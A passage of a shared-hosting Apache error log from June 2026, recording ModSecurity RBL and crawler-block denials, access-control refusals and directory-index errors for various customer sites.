"derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3ydymiP80klyS0Nnok8gAAARM"] [Sat Jun 13 18:14:47.759576 2026] [autoindex:error] [pid 531155:tid 531332] [client 161.118.239.144:59900] AH01276: Cannot serve directory /home4/geyserjz/public_html/novaklinings/wp-content/uploads/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:14:48.086088 2026] [access_compat:error] [pid 531155:tid 531227] [remote 57.141.14.41:51735] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:48.086353 2026] [access_compat:error] [pid 531155:tid 531227] [remote 57.141.14.41:51735] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:48.172407 2026] [security2:error] [pid 531155:tid 531336] [client 216.73.216.77:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 77.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/imap/tests/imap_fetchbody_variation4.phpt"] [unique_id "ai3yeCmiP80klyS0NnolEwAAAT0"] [Sat Jun 13 18:14:48.185743 2026] [access_compat:error] [pid 531155:tid 531255] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9ldmVudDAvcG93ZXI= [Sat Jun 13 18:14:48.186190 2026] [access_compat:error] [pid 531155:tid 531255] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9ldmVudDAvcG93ZXI= [Sat Jun 13 18:14:48.274823 2026] [security2:error] [pid 531155:tid 531156] [remote 17.246.23.214:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 214.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yeCmiP80klyS0NnolHQABaQA"] [Sat Jun 13 18:14:48.445987 2026] [autoindex:error] [pid 531155:tid 531292] [client 161.118.239.144:59900] AH01276: Cannot serve directory /home4/geyserjz/public_html/novaklinings/wp-includes/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:14:48.613748 2026] [security2:error] [pid 531155:tid 531164] [remote 17.241.227.180:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 180.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yeCmiP80klyS0NnolOQABWgg"] [Sat Jun 13 18:14:48.621262 2026] [access_compat:error] [pid 531155:tid 531189] [remote 57.141.14.21:45249] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:48.621702 2026] [access_compat:error] [pid 531155:tid 531189] [remote 57.141.14.21:45249] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:48.659948 2026] [security2:error] [pid 531155:tid 531210] [remote 17.22.253.190:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 190.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yeCmiP80klyS0NnolPQABLzY"] [Sat Jun 13 18:14:48.754832 2026] [access_compat:error] [pid 531155:tid 531157] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDUvZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:14:48.755281 2026] [access_compat:error] [pid 531155:tid 531157] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDUvZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:14:48.856672 2026] [access_compat:error] [pid 531155:tid 531190] [remote 57.141.14.84:48088] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:48.856955 2026] [access_compat:error] [pid 531155:tid 531190] [remote 57.141.14.84:48088] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:48.858566 2026] [access_compat:error] [pid 531155:tid 531237] [remote 57.141.14.91:59894] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:48.858865 2026] [access_compat:error] [pid 531155:tid 531237] [remote 57.141.14.91:59894] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:49.074527 2026] [security2:error] [pid 531155:tid 531208] [remote 17.22.245.115:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 115.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yeSmiP80klyS0NnolZAABezQ"] [Sat Jun 13 18:14:49.127287 2026] [security2:error] [pid 531155:tid 531361] [client 210.217.96.217:57480] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3yeSmiP80klyS0NnolawAAAVY"] [Sat Jun 13 18:14:49.127463 2026] [security2:error] [pid 531155:tid 531361] [client 210.217.96.217:57480] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3yeSmiP80klyS0NnolawAAAVY"] [Sat Jun 13 18:14:49.218226 2026] [security2:error] [pid 531155:tid 531182] [remote 52.167.144.175:46094] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 175.144.167.52.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.thenerdistheword.ca"] [uri "/index.php/tag/spideer-man/"] [unique_id "ai3yeSmiP80klyS0NnolbQABWho"] [Sat Jun 13 18:14:49.307649 2026] [access_compat:error] [pid 531155:tid 531161] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZS9ldmVudDUvZGV2aWNl [Sat Jun 13 18:14:49.308098 2026] [access_compat:error] [pid 531155:tid 531161] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZS9ldmVudDUvZGV2aWNl [Sat Jun 13 18:14:49.346321 2026] [security2:error] [pid 531155:tid 531374] [client 161.118.239.144:59415] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 144.239.118.161.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "novaklinings.com"] [uri "/wp-login.php"] [unique_id "ai3yeSmiP80klyS0NnoldAAAAWM"] [Sat Jun 13 18:14:49.531137 2026] [security2:error] [pid 531155:tid 531162] [remote 17.22.237.61:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 61.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yeSmiP80klyS0NnolgQABfQY"] [Sat Jun 13 18:14:49.637140 2026] [access_compat:error] [pid 531155:tid 531193] [remote 57.141.14.48:56875] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:49.637412 2026] [access_compat:error] [pid 531155:tid 531193] [remote 57.141.14.48:56875] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:49.725919 2026] [security2:error] [pid 531155:tid 531249] [remote 17.241.227.96:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 96.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yeSmiP80klyS0NnoljwABSl0"] [Sat Jun 13 18:14:49.741817 2026] [security2:error] [pid 531155:tid 531236] [remote 17.246.23.189:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 189.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yeSmiP80klyS0NnolkAABPVA"] [Sat Jun 13 18:14:49.797163 2026] [access_compat:error] [pid 531155:tid 531171] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZQ== [Sat Jun 13 18:14:49.797312 2026] [access_compat:error] [pid 531155:tid 531217] [remote 57.141.14.92:59928] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:49.797454 2026] [access_compat:error] [pid 531155:tid 531171] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZQ== [Sat Jun 13 18:14:49.797751 2026] [access_compat:error] [pid 531155:tid 531217] [remote 57.141.14.92:59928] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:50.099967 2026] [security2:error] [pid 531155:tid 531268] [remote 17.22.237.155:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 155.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yeimiP80klyS0NnolpgABSHA"] [Sat Jun 13 18:14:50.178247 2026] [access_compat:error] [pid 531155:tid 531169] [remote 57.141.14.9:51306] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:50.178574 2026] [access_compat:error] [pid 531155:tid 531169] [remote 57.141.14.9:51306] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:50.229194 2026] [security2:error] [pid 531155:tid 531186] [remote 209.38.221.42:33706] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 42.221.38.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "djstardao.com"] [uri "/wp-login.php"] [unique_id "ai3yeimiP80klyS0NnoltQABHx4"] [Sat Jun 13 18:14:50.290849 2026] [security2:error] [pid 531155:tid 531183] [remote 17.241.227.21:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 21.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yeimiP80klyS0NnolugABZBs"] [Sat Jun 13 18:14:50.337394 2026] [access_compat:error] [pid 531155:tid 531218] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQw [Sat Jun 13 18:14:50.337859 2026] [access_compat:error] [pid 531155:tid 531218] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQw [Sat Jun 13 18:14:50.427634 2026] [access_compat:error] [pid 531155:tid 531179] [remote 57.141.14.52:41828] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:50.428111 2026] [access_compat:error] [pid 531155:tid 531179] [remote 57.141.14.52:41828] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:50.511283 2026] [security2:error] [pid 531155:tid 531379] [client 5.255.231.127:61548] ModSecurity: Access denied with code 429 (phase 2). Pattern match "Mozilla\\\\/5\\\\.0 \\\\(compatible; YandexBot\\\\/3\\\\.0; \\\\+http:\\\\/\\\\/yandex\\\\.com\\\\/bots\\\\)" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/othercrawler.conf"] [line "3"] [id "901008"] [msg "Yandex Crawler 429 ADDED BY MONITORING DO NOT WHITELIST"] [hostname "salserodeacero.net"] [uri "/robots.txt"] [unique_id "ai3yeimiP80klyS0NnolywAAAWg"] [Sat Jun 13 18:14:50.669420 2026] [access_compat:error] [pid 531155:tid 531157] [remote 57.141.14.111:58104] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:50.669716 2026] [access_compat:error] [pid 531155:tid 531157] [remote 57.141.14.111:58104] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:50.687349 2026] [security2:error] [pid 531155:tid 531223] [remote 17.246.23.155:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 155.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yeimiP80klyS0Nnol1gABDEM"] [Sat Jun 13 18:14:50.754383 2026] [access_compat:error] [pid 531155:tid 531245] [remote 57.141.14.55:35153] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:50.754866 2026] [access_compat:error] [pid 531155:tid 531245] [remote 57.141.14.55:35153] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:50.866106 2026] [access_compat:error] [pid 531155:tid 531275] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9tb3VzZTIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:14:50.866361 2026] [access_compat:error] [pid 531155:tid 531275] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9tb3VzZTIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:14:50.869621 2026] [security2:error] [pid 531155:tid 531303] [client 114.119.144.38:64051] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname 